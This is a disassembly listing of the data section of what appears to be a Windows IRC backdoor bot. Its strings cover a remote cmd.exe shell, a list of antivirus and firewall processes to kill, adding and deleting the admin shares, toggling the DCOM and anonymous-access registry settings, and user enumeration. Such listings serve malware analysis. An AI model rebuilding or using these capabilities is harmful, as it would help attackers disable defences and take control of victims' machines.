aStop_0		db 'Stop',0             ; DATA XREF: .data:00450ED0o
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:00450ED4o
aPause_0	db 'Pause',0            ; DATA XREF: .data:00450EDCo
		align 4
aPaused_0	db 'Paused',0           ; DATA XREF: .data:00450EE0o
		align 10h
aContinue_0	db 'Continue',0         ; DATA XREF: .data:00450EE8o
		align 4
aContinued	db 'Continued',0        ; DATA XREF: .data:00450EECo
		align 4
; char asc_450F68[]
asc_450F68	db '-'                  ; DATA XREF: sub_4195C6+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
unk_450F84	db  2Dh	; -		; DATA XREF: sub_4195C6+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
; char asc_450FB0[]
asc_450FB0	db '-'                  ; DATA XREF: sub_4195C6+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4196E2:loc_4197BBo
		align 4
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4196E2:loc_41973Co
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4196E2+3Co
		align 4
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4196E2:loc_419732o
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4196E2:loc_419746o
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4196E2:loc_419790o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4196E2+8Fo
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4196E2:loc_4197C2o
		db 'marked for deletion.',0
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4196E2:loc_4197C9o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4196E2:loc_4197D0o
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4196E2:loc_4197D7o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4196E2:loc_4197DEo
		db ' correct access rights.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4196E2:loc_4197E5o
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4196E2:loc_41977Bo
		align 10h
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4196E2:loc_419782o
		db 'tServiceCtrlDispatcher.',0
		align 4
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4196E2:loc_419750o
		db 'dependent on it.',0
		align 10h
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4196E2:loc_419728o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4196E2:loc_419789o
		db ' the service.',0
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4196E2:loc_4197ECo
		db 'the state of the service.',0
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4196E2:loc_4197F3o
		align 4
; char aTheSystemIsShu[]
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4196E2:loc_4197FAo
		align 4
; char aAnUnknownError[]
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4196E2+12Co
		align 10h
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_419860+25o
		align 10h
; char aStopped[]
aStopped	db '    Stopped',0      ; DATA XREF: sub_419860:loc_41992Co
aStarting	db '   Starting',0      ; DATA XREF: sub_419860:loc_419925o
aStoping	db '    Stoping',0      ; DATA XREF: sub_419860:loc_41991Eo
aRunning	db '    Running',0      ; DATA XREF: sub_419860:loc_419917o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_419860:loc_419910o
aPausing	db '    Pausing',0      ; DATA XREF: sub_419860:loc_419909o
aPaused		db '     Paused',0      ; DATA XREF: sub_419860:loc_419902o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_419860+9Bo
; char aSSS_2[]
aSSS_2		db '%s: %s (%s)',0      ; DATA XREF: sub_419860+EBo
; char asc_45150C[]
asc_45150C	db '-'                  ; DATA XREF: sub_41999D+8Ao
		db 3, 34h, 2
		dd 274656Eh, 25202D03h,	68732073h, 3A657261h, 73252720h
		dd 27h
; char asc_451528[]
asc_451528	db '-'                  ; DATA XREF: sub_41999D+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
; char asc_451554[]
asc_451554	db '-'                  ; DATA XREF: sub_41999D+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_419B93+26o
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_419B93+B5o
aNo		db 'No',0               ; DATA XREF: sub_419B93+BCo
		align 4
; char a14s24s6u4s[]
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419B93+D0o
		align 10h
; char asc_4515D0[]
asc_4515D0	db '-'                  ; DATA XREF: sub_419B93+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
; char asc_4515F8[]
asc_4515F8	db '-'                  ; DATA XREF: sub_419CB4+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
; char asc_451618[]
asc_451618	db '-'                  ; DATA XREF: sub_419CB4+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
; char asc_451648[]
asc_451648	db '-'                  ; DATA XREF: sub_419CB4+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
; char aAccountS[]
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419DFB+50o
; char aFullNameS[]
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419DFB+84o
		align 4
; char aUserCommentS[]
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419DFB+AFo
		align 10h
; char aCommentS[]
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419DFB+DAo
aGuest		db 'Guest',0            ; DATA XREF: sub_419DFB:loc_419F1Ao
		align 4
aUser_3		db 'User',0             ; DATA XREF: sub_419DFB:loc_419F13o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419DFB:loc_419F0Co
		align 4
aUnknown_1	db 'Unknown',0          ; DATA XREF: sub_419DFB+10Ao
; char aPrivilegeLevel[]
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419DFB+12Bo
; char aAuthFlagsD[]
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419DFB+156o
		align 4
; char aHomeDirectoryS[]
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419DFB+181o
		align 4
; char aParametersS[]
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419DFB+1ACo
		align 4
; char aPasswordAgeD[]
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419DFB+1D7o
		align 10h
; char aBadPasswordCou[]
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419DFB+202o
		align 4
; char aNumberOfLogins[]
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419DFB+22Do
		align 10h
; char aLastLogonD[]
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419DFB+258o
		align 10h
; char aLastLogoffD[]
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419DFB+283o
; char aLogonServerS[]
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419DFB+2AEo
		align 4
; char aWorkstationsS[]
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419DFB+2D9o
		align 4
; char aCountryCodeD[]
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419DFB+304o
		align 4
; char aUserSLanguageD[]
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419DFB+32Fo
; char aMax_StorageD[]
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419DFB+35Ao
		align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419DFB+385o
		align 4
; char asc_4517F8[]
asc_4517F8	db '-'                  ; DATA XREF: sub_419DFB+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41A1E4+29o
; char asc_451840[]
asc_451840	db '-'                  ; DATA XREF: sub_41A1E4+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
; char aS_30[]
aS_30		db '  %S',0             ; DATA XREF: sub_41A1E4+BEo
		align 4
; char asc_451874[]
asc_451874	db '-'                  ; DATA XREF: sub_41A1E4+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
; char aTotalUsersFoun[]
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41A1E4+14Fo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41A364:loc_41A3C7o
		align 10h
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41A364:loc_41A408o
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41A364:loc_41A3D1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41A364+3Bo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41A364:loc_41A3BDo
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41A364:loc_41A3B3o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41A364:loc_41A3A9o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41A364:loc_41A473o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41A364+89o
		align 4
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41A364:loc_41A3F7o
		align 4
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41A364:loc_41A401o
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41A364:loc_41A46Co
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41A364+CFo
		db ' the domain.',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41A364:loc_41A441o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41A364:loc_41A43Ao
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41A364:loc_41A448o
		db 'ord policy requirement.)',0
		align 4
; char aNetworkConnect[]
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41A364:loc_41A481o
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41A364:loc_41A40Fo
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41A364:loc_41A47Ao
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41A364:loc_41A465o
		align 10h
; char asc_451B70[]
asc_451B70	db '-'                  ; DATA XREF: sub_41A498+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
; char asc_451B98[]
asc_451B98	db '-'                  ; DATA XREF: sub_41A498+ABo
		db 3, 34h, 2
		dd 274656Eh, 25202D03h,	34032073h, 76726553h, 3A037265h
		dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h
dword_451BC4	dd 7530h		; DATA XREF: sub_41A919+12r
off_451BC8	dd offset aRegedit_exe	; DATA XREF: sub_41A5C1+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aMsblast_exe_0 ; "MSBLAST.exe"
		dd offset aTeekids_exe	; "teekids.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: sub_41A5C1+ECo
					; .data:off_451BC8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .data:00451BCCo
		align 4
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .data:00451BD0o
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .data:00451BD4o
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .data:00451BD8o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .data:00451BDCo
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .data:00451BE0o
		align 4
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .data:00451BE4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00451BE8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00451BECo
		align 10h
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .data:00451BF0o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .data:00451BF4o
aMsblast_exe_0	db 'MSBLAST.exe',0      ; DATA XREF: .data:00451BF8o
aTeekids_exe	db 'teekids.exe',0      ; DATA XREF: .data:00451BFCo
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .data:00451C00o
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .data:00451C04o
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .data:00451C08o
		align 4
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .data:00451C0Co
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .data:00451C10o
		align 10h
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .data:00451C14o
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .data:00451C18o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .data:00451C1Co
		align 4
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .data:00451C20o
		align 4
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: .data:00451C24o
		align 4
aSedebugprivi_1	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A5C1+5Ao
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41A5C1+17Do
		align 4
aSD_1		db ' %s (%d)',0         ; DATA XREF: sub_41A5C1+18Bo
		align 10h
; char aSD_2[]
aSD_2		db ' %s (%d)',0         ; DATA XREF: sub_41A5C1+19Fo
		align 4
aSedebugprivi_2	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A5C1+207o
		align 10h
; char asc_451DC0[]
asc_451DC0	db '-'                  ; DATA XREF: sub_41A804+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
unk_451DE0	db  2Dh	; -		; DATA XREF: sub_41A804+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
; char asc_451E04[]
asc_451E04	db '-'                  ; DATA XREF: sub_41A804:loc_41A88Bo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
; char aPrivmsgSS_4[]
aPrivmsgSS_4	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A9A1+33o
; char aS_31[]
aS_31		db '%s',0               ; DATA XREF: sub_41A9A1+4Co
		align 4
unk_451E3C	db  2Dh	; -		; DATA XREF: sub_41AA28:loc_41AB0Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_451E6C	db  2Dh	; -		; DATA XREF: sub_41AA28+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_451E94	db  2Dh	; -		; DATA XREF: sub_41AA28:loc_41AB5Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0	db 'cmd.exe',0          ; DATA XREF: sub_41AB7D+20o
; char asc_451ECC[]
asc_451ECC	db '-'                  ; DATA XREF: sub_41AB7D+150o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
; char asc_451EF0[]
asc_451EF0	db '-'                  ; DATA XREF: sub_41AB7D+198o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 8
off_451F28	dd offset aIpc		; DATA XREF: sub_41AD95+1B3o
					; sub_41B0B9+179o
					; "IPC$"
		align 10h
		dd offset aAdmin_1	; "ADMIN$"
		align 8
off_451F38	dd offset aC_6		; DATA XREF: sub_41B0B9+1E1o
					; "C$"
		dd offset aC_7		; "C:\\"
		dd offset aD_3		; "D$"
		dd offset aD_4		; "D:\\"
aIpc		db 'IPC$',0             ; DATA XREF: sub_41AD95+217o
					; .data:off_451F28o
		align 10h
aAdmin_1	db 'ADMIN$',0           ; DATA XREF: .data:00451F30o
		align 4
aC_6		db 'C$',0               ; DATA XREF: .data:off_451F38o
		align 4
aC_7		db 'C:\',0              ; DATA XREF: .data:00451F3Co
aD_3		db 'D$',0               ; DATA XREF: .data:00451F40o
		align 4
aD_4		db 'D:\',0              ; DATA XREF: .data:00451F44o
word_451F68	dw 4Eh			; DATA XREF: sub_41AD95+38r
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41AD95+54o
		align 4
dword_451F78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD95+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
; char asc_451F9C[]
asc_451F9C	db '-'                  ; DATA XREF: sub_41AD95:loc_41AE02o
		db 3, 34h, 2
		dd 75636573h, 3026572h,	4344202Dh, 64204D4Fh, 62617369h
		dd 2E64656Ch, 0
; char asc_451FBC[]
asc_451FBC	db '-'                  ; DATA XREF: sub_41AD95+91o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41AD95+EDo
		align 10h
dword_452000	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD95+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
; char asc_45203C[]
asc_45203C	db '-'                  ; DATA XREF: sub_41AD95:loc_41AEA2o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_452070	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD95:loc_41AEC0o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
; char asc_4520AC[]
asc_4520AC	db '-'                  ; DATA XREF: sub_41AD95:loc_41AEC7o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_4520DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD95+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
; char asc_452100[]
asc_452100	db '-'                  ; DATA XREF: sub_41AD95:loc_41AFF7o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_45212C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD95+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
; char asc_452150[]
asc_452150	db '-'                  ; DATA XREF: sub_41AD95:loc_41AF64o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
; char asc_45217C[]
asc_45217C	db '-'                  ; DATA XREF: sub_41AD95+2CFo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
; char asc_4521A4[]
asc_4521A4	db '-'                  ; DATA XREF: sub_41AD95+2E5o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
word_4521D4	dw 59h			; DATA XREF: sub_41B0B9+38r
		align 4
aEnabledcom_0	db 'EnableDCOM',0       ; DATA XREF: sub_41B0B9+54o
		align 4
dword_4521E4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B0B9+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
; char asc_452208[]
asc_452208	db '-'                  ; DATA XREF: sub_41B0B9:loc_41B126o
		db 3, 34h, 2
		dd 75636573h, 3026572h,	4344202Dh, 65204D4Fh, 6C62616Eh
		dd 2E6465h
; char asc_452224[]
asc_452224	db '-'                  ; DATA XREF: sub_41B0B9+91o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToOpen_1	db '- Failed to open DCOM registry key.',0
aRestrictanon_0	db 'restrictanonymous',0 ; DATA XREF: sub_41B0B9+EDo
		align 4
dword_452268	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B0B9+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
; char asc_4522A8[]
asc_4522A8	db '-'                  ; DATA XREF: sub_41B0B9:loc_41B1C2o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 10h
dword_4522E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B0B9:loc_41B1E0o
aFailedToOpen_2	db '- Failed to open IPC$ restriction registry key.',0
; char asc_45231C[]
asc_45231C	db '-'                  ; DATA XREF: sub_41B0B9:loc_41B1E7o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aAdvapi32_dll_0	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_45234C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B0B9+192o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
; char asc_45236C[]
asc_45236C	db '-'                  ; DATA XREF: sub_41B0B9:loc_41B252o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
; char aC_1[]
aC_1		db '%c$',0              ; DATA XREF: sub_41B0B9+216o
; char aC_0[]
aC_0		db '%c:\',0             ; DATA XREF: sub_41B0B9+22Do
		align 10h
dword_4523A0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B0B9+266o
aShareSAdded__0	db '- Share ',27h,'%s',27h,' added.',0
; char asc_4523C0[]
asc_4523C0	db '-'                  ; DATA XREF: sub_41B0B9:loc_41B326o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToAddS_0	db '- Failed to add ',27h,'%s',27h,' share.',0
; char asc_4523E8[]
asc_4523E8	db '-'                  ; DATA XREF: sub_41B0B9+2C3o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetworkSharesA	db '- Network shares added.',0
; char asc_45240C[]
asc_45240C	db '-'                  ; DATA XREF: sub_41B0B9+2DBo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetapi32_dll_1	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
; char aPostHttp1_0Hos[]
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41B3ED+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
; char asc_452470[]
asc_452470	db 0Dh,0Ah,0		; DATA XREF: sub_41B3ED+F5o
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41B5CA+15o
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41B5CA+1Co
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41B5CA+23o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41B5CA+2Ao
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41B5CA+31o
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41B5CA+38o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41B5CA+3Fo
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41B5CA+46o
		align 10h
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41B5CA+4Do
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41B5CA+54o
		align 10h
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41B5CA+5Bo
		align 10h
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41B5CA+62o
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41B5CA+69o
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41B5CA+70o
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41B5CA+77o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41B5CA+7Eo
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41B5CA+85o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41B5CA+8Co
		align 10h
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41B5CA+93o
		align 4
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41B5CA+9Ao
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41B5CA+A1o
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41B5CA+A8o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41B5CA+AFo
		align 10h
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41B5CA+B6o
		align 10h
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41B5CA+BDo
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41B5CA+C4o
		align 10h
; char asc_452620[]
asc_452620	db '-'                  ; DATA XREF: sub_41B5CA+1A7o
		db 3, 34h, 2
		dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h
		dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h
		dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah
		dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h
		dd 626B2064h, 732F7469h, 0
; char aDdDhDm[]
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41B7A7+52o
a95_0		db '95',0               ; DATA XREF: sub_41B964+46o
		align 10h
